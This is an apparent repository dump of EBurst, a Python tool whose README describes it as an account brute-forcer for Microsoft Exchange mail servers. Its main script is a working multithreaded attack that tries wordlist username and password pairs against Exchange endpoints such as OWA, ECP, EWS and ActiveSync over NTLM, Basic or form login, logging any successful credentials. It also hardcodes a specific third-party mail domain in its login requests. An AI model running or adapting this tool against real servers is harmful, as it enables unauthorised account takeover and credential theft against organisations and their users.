Repository: grayddq/EBurst
Branch: master
Commit: f53c0baaca64
Files: 6
Total size: 20.1 KB
Directory structure:
gitextract_bioaq_xj/
├── .gitattributes
├── EBurst.py
├── README.md
├── lib/
│ ├── __init__.py
│ └── consle_width.py
└── requirements.txt
================================================
FILE CONTENTS
================================================
================================================
FILE: .gitattributes
================================================
*.yar linguist-language=python
================================================
FILE: EBurst.py
================================================
# -*- coding: utf-8 -*-
import urllib2, requests, optparse, time, threading, Queue, sys, certifi
from base64 import encodestring
from requests_ntlm import HttpNtlmAuth
from lib.consle_width import getTerminalSize
class Check_Exchange_User:
def __init__(self, domain, type=None, protocol=None, user=None, userfile=None, password=None, passfile=None,
thread=10):
self.domain, self.user, self.userfile, self.password, self.passfile, self.thread = domain, user, userfile, password, passfile, thread
self.URL = {
"autodiscover":
{"url": "%s://%s/autodiscover" % ("http" if protocol == "http" else "https", domain), "mode": "NTLM"},
"ews":
{"url": "%s://%s/ews" % ("http" if protocol == "http" else "https", domain), "mode": "NTLM"},
"mapi":
{"url": "%s://%s/mapi" % ("http" if protocol == "http" else "https", domain), "mode": "NTLM"},
"activesync":
{"url": "%s://%s/Microsoft-Server-ActiveSync" % ("http" if protocol == "http" else "https", domain),
"mode": "Basic"},
"oab":
{"url": "%s://%s/oab" % ("http" if protocol == "http" else "https", domain), "mode": "NTLM"},
"rpc":
{"url": "%s://%s/rpc" % ("http" if protocol == "http" else "https", domain), "mode": "NTLM"},
"api":
{"url": "%s://%s/api" % ("http" if protocol == "http" else "https", domain), "mode": "NTLM"},
"owa":
{"url": "%s://%s/owa/auth.owa" % ("http" if protocol == "http" else "https", domain), "mode": "HTTP"},
"powershell":
{"url": "%s://%s/powershell" % ("http" if protocol == "http" else "https", domain), "mode": "Kerberos"},
"ecp":
{"url": "%s://%s/owa/auth.owa" % ("http" if protocol == "http" else "https", domain), "mode": "HTTP"}
}
self.HEADERS = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:69.0) Gecko/20100101 Firefox/69.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding": "gzip, deflate",
"Connection": "close",
"Upgrade-Insecure-Requests": "1",
}
if not user and not userfile:
return
self.ReqInfo = self.URL[type]
self.users = []
# 多线程框架
self.thread_count = 0
self.scan_count = self.found_count = 0
self.lock = threading.Lock()
self.console_width = getTerminalSize()[0] - 2
self.msg_queue = Queue.Queue()
self.STOP_ME = False
threading.Thread(target=self._print_msg).start()
# 导入字段用户
self._load_dict()
# 结果存储
outfile = domain + '.txt'
self.outfile = open(outfile, 'w')
# NTLM认证验证
def check_NTLM_userpass(self, user, password, url):
try:
response = requests.get(url, auth=HttpNtlmAuth(user, password), headers=self.HEADERS)
if 401 != response.status_code and 408 != response.status_code and 504 != response.status_code:
return True
else:
return False
except:
return False
# Basic认证验证
def check_Basic_userpass(self, user, password, url):
try:
HEADERS = self.HEADERS
HEADERS["Authorization"] = "Basic %s" % encodestring('%s:%s' % (user, password))[:-1]
request = requests.session()
request.keep_alive = False
response = request.get(url, headers=HEADERS)
if 401 != response.status_code and 408 != response.status_code and 504 != response.status_code:
return True
else:
return False
except:
return False
# http认证验证
def check_HTTP_userpass(self, user, password, url, type="ecp"):
try:
if type == "owa":
urldata = "https://mail.netone.co.zw/owa/"
else:
urldata = "https://mail.netone.co.zw/cep/"
HEADERS = self.HEADERS
HEADERS["Cache-Control"] = "max-age=0"
HEADERS["Content-Type"] = "application/x-www-form-urlencoded"
HEADERS[
"Referer"] = "https://" + self.domain + "/owa/auth/logon.aspx?replaceCurrent=1&url=" + urldata
HEADERS["Cookie"] = "PrivateComputer=true; PBack=0"
data = {
"destination": urldata,
"flags": "4",
"forcedownlevel": "0",
"username": user,
"password": password,
"passwordText": "",
"isUtf8": "1"
}
request = requests.session()
request.keep_alive = False
response = request.post(url, data=data, headers=HEADERS, allow_redirects=False)
if "Location" not in response.headers:
return False
if "reason" not in response.headers["Location"]:
return True
else:
return False
except:
return False
# 爆破exchange接口
def check_Exchange_Interfac(self, user, password):
url, mode = self.ReqInfo["url"], self.ReqInfo["mode"]
if mode == "NTLM":
if self.check_NTLM_userpass(user, password, url):
return True
elif mode == "Basic":
if self.check_Basic_userpass(user, password, url):
return True
elif mode == "HTTP":
type = "owa" if "/owa" in self.ReqInfo['url'] else "ecp"
if self.check_HTTP_userpass(user, password, url, type=type):
return True
# 导入爆破字典字典
def _load_dict(self):
self.msg_queue.put('[+] Initializing, load user pass...')
self.queue = Queue.Queue()
userdict, passdict = [], []
if self.userfile:
with open(self.userfile) as f:
for line in f:
userdict.append(line.strip())
else:
userdict.append(self.user.strip())
if self.password:
passdict.append(self.password.strip())
else:
with open(self.passfile) as f:
for line in f:
passdict.append(line.strip())
for user in userdict:
for passwd in passdict:
dic = {"user": user, "passwd": passwd}
self.queue.put(dic)
sys.stdout.write('\n')
self.msg_queue.put('[+] Found dict infos %s/%s in total' % (len(userdict), len(passdict)))
def _print_msg(self):
while not self.STOP_ME:
try:
_msg = self.msg_queue.get(timeout=0.1)
except:
continue
if _msg == 'status':
msg = '%s Found| %s groups| %s scanned in %.1f seconds| %s threads' % (
self.found_count, self.queue.qsize(), self.scan_count, time.time() - self.start_time,
self.thread_count)
sys.stdout.write('\r' + ' ' * (self.console_width - len(msg)) + msg)
elif _msg.startswith('[+] Check user pass Info'):
sys.stdout.write('\r' + _msg + ' ' * (self.console_width - len(_msg)))
else:
sys.stdout.write('\r' + _msg + ' ' * (self.console_width - len(_msg)) + '\n')
sys.stdout.flush()
def _update_scan_count(self):
self.last_scanned = time.time()
self.scan_count += 1
def _update_found_count(self):
self.found_count += 1
# 验证接口有效性,判断是否存在接口爆破的可能
def check_interfac_availab(self):
for (k, v) in self.URL.items():
url = v["url"]
request = requests.session()
request.keep_alive = False
try:
response = request.get(url, headers=self.HEADERS, allow_redirects=False)
if 404 != response.status_code and 301 != response.status_code and 302 != response.status_code and 403 != response.status_code:
print u"URL: %s ,code:%s" % (url, response.status_code) + u"\t有效可以爆破"
else:
print u"URL: %s ,code:%s" % (url, response.status_code) + u"\t失败无法爆破"
except:
print "URL: %s ,Fail"
# 检测接口认证方式开通了哪些,并替换为已开通的方式
def check_url_authenticate(self):
self.msg_queue.put('[+] Find target url authenticate method ...')
url = self.ReqInfo["url"]
mode = self.ReqInfo["mode"]
if mode == "HTTP":
return True
request = requests.session()
request.keep_alive = False
response = request.get(url, headers=self.HEADERS)
authenticate_type = response.headers["WWW-Authenticate"]
# 认证方式不为默认类型,则替换为支持的类型
if mode not in authenticate_type:
if "NTLM" in authenticate_type:
self.ReqInfo["mode"] = "NTLM"
elif "Basic" in authenticate_type:
self.ReqInfo["mode"] = "Basic"
else:
return False
return True
# 开始多线程扫描
def _scan(self):
self.lock.acquire()
self.thread_count += 1
self.lock.release()
while not self.STOP_ME:
try:
lst_info = self.queue.get(timeout=0.1)
except Queue.Empty:
break
while not self.STOP_ME:
self._update_scan_count()
self.msg_queue.put('status')
if self.check_Exchange_Interfac(lst_info["user"], lst_info["passwd"]):
self._update_found_count()
msg = ("success user: %s ,password: %s" % (lst_info["user"], lst_info["passwd"])).ljust(30)
self.msg_queue.put(msg)
self.msg_queue.put('status')
self.outfile.write(msg + '\n')
self.outfile.flush()
break
self.lock.acquire()
self.thread_count -= 1
self.lock.release()
self.msg_queue.put('status')
def run(self):
# 验证url的认证类型
if not self.check_url_authenticate():
self.msg_queue.put('[+] Unsupport authentication method, system return')
return
self.msg_queue.put('[+] start scan ...')
self.start_time = time.time()
for i in range(self.thread):
try:
t = threading.Thread(target=self._scan, name=str(i))
t.setDaemon(True)
t.start()
except:
pass
while self.thread_count > 0:
try:
time.sleep(1.0)
except KeyboardInterrupt, e:
msg = '[WARNING] User aborted, wait all slave threads to exit...'
sys.stdout.write('\r' + msg + ' ' * (self.console_width - len(msg)) + '\n\r')
sys.stdout.flush()
self.STOP_ME = True
self.STOP_ME = True
if __name__ == '__main__':
parser = optparse.OptionParser()
parser.add_option("-d", dest="domain", help=u"邮箱地址")
parser.add_option("-L", dest="userfile", help=u"用户文件")
parser.add_option("-P", dest="passfile", help=u"密码文件")
parser.add_option("-l", dest="user", help=u"指定用户名")
parser.add_option("-p", dest="password", help=u"指定密码")
parser.add_option("-T", "--t", dest="thread", type="int", default=100, help=u"线程数量,默认为100")
parser.add_option("-C", "--c", dest="check", default=False, action='store_true', help=u"验证各接口是否存在爆破的可能性")
parser.add_option("--protocol", dest="protocol", action='store_true', help=u"通讯协议默认https,demo: --protocol http")
group = optparse.OptionGroup(parser, "type", u"EBurst 扫描所用的接口")
group.add_option("--autodiscover", dest="autodiscover", default=True, action='store_true',
help=u"autodiscover接口,默认NTLM认证方式,自Exchange Server 2007开始推出的一项自动服务,用于自动配置用户在Outlook中邮箱的相关设置,简化用户登陆使用邮箱的流程。")
group.add_option("--ews", dest="ews", default=False, action='store_true',
help=u"ews接口,默认NTLM认证方式,Exchange Web Service,实现客户端与服务端之间基于HTTP的SOAP交互")
group.add_option("--mapi", dest="mapi", default=False, action='store_true',
help=u"mapi接口,默认NTLM认证方式,Outlook连接Exchange的默认方式,在2013和2013之后开始使用,2010 sp2同样支持")
group.add_option("--activesync", dest="activesync", default=False, action='store_true',
help=u"activesync接口,默认Basic认证方式,用于移动应用程序访问电子邮件")
group.add_option("--oab", dest="oab", default=False, action='store_true',
help=u"oab接口,默认NTLM认证方式,用于为Outlook客户端提供地址簿的副本,减轻Exchange的负担")
group.add_option("--rpc", dest="rpc", default=False, action='store_true',
help=u"rpc接口,默认NTLM认证方式,早期的Outlook还使用称为Outlook Anywhere的RPC交互")
group.add_option("--api", dest="api", default=False, action='store_true', help=u"api接口,默认NTLM认证方式")
group.add_option("--owa", dest="owa", default=False, action='store_true',
help=u"owa接口,默认http认证方式,Exchange owa 接口,用于通过web应用程序访问邮件、日历、任务和联系人等")
group.add_option("--powershell", dest="powershell", default=False, action='store_true',
help=u"powershell接口(暂不支持),默认Kerberos认证方式,用于服务器管理的Exchange管理控制台")
group.add_option("--ecp", dest="ecp", default=False, action='store_true',
help=u"ecp接口,默认http认证方式,Exchange管理中心,管理员用于管理组织中的Exchange的Web控制台")
parser.add_option_group(group)
options, _ = parser.parse_args()
if (options.userfile or options.user) and (options.passfile or options.password) and (options.domain):
type = "autodiscover"
if options.ews:
type = "ews"
elif options.mapi:
type = "mapi"
elif options.activesync:
type = "activesync"
elif options.oab:
type = "oab"
elif options.rpc:
type = "rpc"
elif options.api:
type = "api"
elif options.owa:
type = "owa"
elif options.powershell:
type = "powershell"
elif options.ecp:
type = "ecp"
scan = Check_Exchange_User(options.domain,
type,
options.protocol,
options.user,
options.userfile,
options.password,
options.passfile,
options.thread)
scan.run()
scan.outfile.flush()
scan.outfile.close()
elif options.check and options.domain:
Check_Exchange_User(options.domain).check_interfac_availab()
else:
parser.print_help()
================================================
FILE: README.md
================================================
# EBurst 0.1
这个脚本主要提供对Exchange邮件服务器的账户爆破功能,集成了现有主流接口的爆破方式。
搜了一圈互联网上的工具,未发现太优秀的工具,也和本身的需求不是太贴切,故抽时间写了个半自动化的脚本。
## 作者 ##
咚咚呛
如有其他建议,可联系微信280495355
## 技术细节 ##
技术细节如下
1、支持多线程爆破
2、支持字典爆破
3、支持爆破漏洞验证功能
4、支持接口认证方式识别并自动切换功能
5、支持爆破的接口如下:
https://Exchangeserver/ecp
https://Exchangeserver/ews
https://Exchangeserver/oab
https://Exchangeserver/owa
https://Exchangeserver/rpc
https://Exchangeserver/api
https://Exchangeserver/mapi
https://Exchangeserver/powershell
https://Exchangeserver/autodiscover
https://Exchangeserver/Microsoft-Server-ActiveSync
## 使用 ##
技术细节如下
程序下载
> root# <kbd>git clone https://github.com/grayddq/EBurst.git</kbd>
>
> root# <kbd>cd EBurst</kbd>
>
> root# <kbd>sudo pip install -r requirements.txt</kbd>
参数参考
> [root@grayddq EBurst]# ls
> EBurst.py lib pic README.md requirements.txt
>
> [root@grayddq EBurst]# python EBurst.py
> Usage: EBurst.py [options]
>
> Options:
> -h, --help show this help message and exit
> -d DOMAIN 邮箱地址
> -L USERFILE 用户文件
> -P PASSFILE 密码文件
> -l USER 指定用户名
> -p PASSWORD 指定密码
> -T THREAD, --t=THREAD
> 线程数量,默认为100
> -C, --c 验证各接口是否存在爆破的可能性
> --protocol 通讯协议默认https,可无需指定,demo: --protocol http
>
> type:
> EBurst 扫描所用的接口
>
> --autodiscover autodiscover接口,默认NTLM认证方式,自Exchange Server 2007开始推出的一项
> 自动服务,用于自动配置用户在Outlook中邮箱的相关设置,简化用户登陆使用邮箱的流程。
> --ews ews接口,默认NTLM认证方式,Exchange Web
> Service,实现客户端与服务端之间基于HTTP的SOAP交互
> --mapi mapi接口,默认NTLM认证方式,Outlook连接Exchange的默认方式,在2013和2013之后开
> 始使用,2010 sp2同样支持
> --activesync activesync接口,默认Basic认证方式,用于移动应用程序访问电子邮件
> --oab oab接口,默认NTLM认证方式,用于为Outlook客户端提供地址簿的副本,减轻Exchange的负担
> --rpc rpc接口,默认NTLM认证方式,早期的Outlook还使用称为Outlook Anywhere的RPC交互
> --api api接口,默认NTLM认证方式
> --owa owa接口,默认http认证方式,Exchange owa
> 接口,用于通过web应用程序访问邮件、日历、任务和联系人等
> --powershell powershell接口(暂不支持),默认Kerberos认证方式,用于服务器管理的Exchange管理控制
> 台
> --ecp ecp接口,默认http认证方式,Exchange管理中心,管理员用于管理组织中的Exchange的Web控
> 制台
>
> [root@grayddq EBurst]# python EBurst.py -L users.txt -p 123456abc -d mail.xxx.com
>
> [root@grayddq EBurst]# python EBurst.py -L users.txt -p 123456abc -d mail.xxx.com --ews
## 程序运行截图 ##


备注:其中多线程框架代码参考了lijiejie开源的代码,在此感谢。
================================================
FILE: lib/__init__.py
================================================
================================================
FILE: lib/consle_width.py
================================================
""" getTerminalSize()
- get width and height of console
- works on linux,os x,windows,cygwin(windows)
"""
__all__=['getTerminalSize']
def getTerminalSize():
import platform
current_os = platform.system()
tuple_xy=None
if current_os == 'Windows':
tuple_xy = _getTerminalSize_windows()
if tuple_xy is None:
tuple_xy = _getTerminalSize_tput()
# needed for window's python in cygwin's xterm!
if current_os == 'Linux' or current_os == 'Darwin' or current_os.startswith('CYGWIN'):
tuple_xy = _getTerminalSize_linux()
if tuple_xy is None:
print "default"
tuple_xy = (80, 25) # default value
return tuple_xy
def _getTerminalSize_windows():
res=None
try:
from ctypes import windll, create_string_buffer
# stdin handle is -10
# stdout handle is -11
# stderr handle is -12
h = windll.kernel32.GetStdHandle(-12)
csbi = create_string_buffer(22)
res = windll.kernel32.GetConsoleScreenBufferInfo(h, csbi)
except:
return None
if res:
import struct
(bufx, bufy, curx, cury, wattr,
left, top, right, bottom, maxx, maxy) = struct.unpack("hhhhHhhhhhh", csbi.raw)
sizex = right - left + 1
sizey = bottom - top + 1
return sizex, sizey
else:
return None
def _getTerminalSize_tput():
# get terminal width
# src: http://stackoverflow.com/questions/263890/how-do-i-find-the-width-height-of-a-terminal-window
try:
import subprocess
proc=subprocess.Popen(["tput", "cols"],stdin=subprocess.PIPE,stdout=subprocess.PIPE)
output=proc.communicate(input=None)
cols=int(output[0])
proc=subprocess.Popen(["tput", "lines"],stdin=subprocess.PIPE,stdout=subprocess.PIPE)
output=proc.communicate(input=None)
rows=int(output[0])
return (cols,rows)
except:
return None
def _getTerminalSize_linux():
def ioctl_GWINSZ(fd):
try:
import fcntl, termios, struct, os
cr = struct.unpack('hh', fcntl.ioctl(fd, termios.TIOCGWINSZ,'1234'))
except:
return None
return cr
cr = ioctl_GWINSZ(0) or ioctl_GWINSZ(1) or ioctl_GWINSZ(2)
if not cr:
try:
fd = os.open(os.ctermid(), os.O_RDONLY)
cr = ioctl_GWINSZ(fd)
os.close(fd)
except:
pass
if not cr:
try:
cr = (env['LINES'], env['COLUMNS'])
except:
return None
return int(cr[1]), int(cr[0])
if __name__ == "__main__":
sizex,sizey=getTerminalSize()
print 'width =',sizex,'height =',sizey
================================================
FILE: requirements.txt
================================================
requests_ntlm==1.1.0
requests==2.18.4
gitextract_bioaq_xj/ ├── .gitattributes ├── EBurst.py ├── README.md ├── lib/ │ ├── __init__.py │ └── consle_width.py └── requirements.txt
SYMBOL INDEX (18 symbols across 2 files)
FILE: EBurst.py
class Check_Exchange_User (line 8) | class Check_Exchange_User:
method __init__ (line 9) | def __init__(self, domain, type=None, protocol=None, user=None, userfi...
method check_NTLM_userpass (line 64) | def check_NTLM_userpass(self, user, password, url):
method check_Basic_userpass (line 76) | def check_Basic_userpass(self, user, password, url):
method check_HTTP_userpass (line 91) | def check_HTTP_userpass(self, user, password, url, type="ecp"):
method check_Exchange_Interfac (line 127) | def check_Exchange_Interfac(self, user, password):
method _load_dict (line 142) | def _load_dict(self):
method _print_msg (line 170) | def _print_msg(self):
method _update_scan_count (line 189) | def _update_scan_count(self):
method _update_found_count (line 194) | def _update_found_count(self):
method check_interfac_availab (line 199) | def check_interfac_availab(self):
method check_url_authenticate (line 215) | def check_url_authenticate(self):
method _scan (line 238) | def _scan(self):
method run (line 266) | def run(self):
FILE: lib/consle_width.py
function getTerminalSize (line 9) | def getTerminalSize():
function _getTerminalSize_windows (line 25) | def _getTerminalSize_windows():
function _getTerminalSize_tput (line 49) | def _getTerminalSize_tput():
function _getTerminalSize_linux (line 65) | def _getTerminalSize_linux():
Condensed preview — 6 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (24K chars).
[
{
"path": ".gitattributes",
"chars": 31,
"preview": "*.yar linguist-language=python\n"
},
{
"path": "EBurst.py",
"chars": 14916,
"preview": "# -*- coding: utf-8 -*-\nimport urllib2, requests, optparse, time, threading, Queue, sys, certifi\nfrom base64 import enco"
},
{
"path": "README.md",
"chars": 2935,
"preview": "# EBurst 0.1\n\n这个脚本主要提供对Exchange邮件服务器的账户爆破功能,集成了现有主流接口的爆破方式。\n搜了一圈互联网上的工具,未发现太优秀的工具,也和本身的需求不是太贴切,故抽时间写了个半自动化的脚本。\n\n## 作者 ##"
},
{
"path": "lib/__init__.py",
"chars": 0,
"preview": ""
},
{
"path": "lib/consle_width.py",
"chars": 2684,
"preview": "\"\"\" getTerminalSize()\n - get width and height of console\n - works on linux,os x,windows,cygwin(windows)\n\"\"\"\n\n__all__=['g"
},
{
"path": "requirements.txt",
"chars": 38,
"preview": "requests_ntlm==1.1.0\nrequests==2.18.4\n"
}
]
About this extraction
This page contains the full source code of the grayddq/EBurst GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 6 files (20.1 KB), approximately 5.6k tokens, and a symbol index with 18 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.
Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.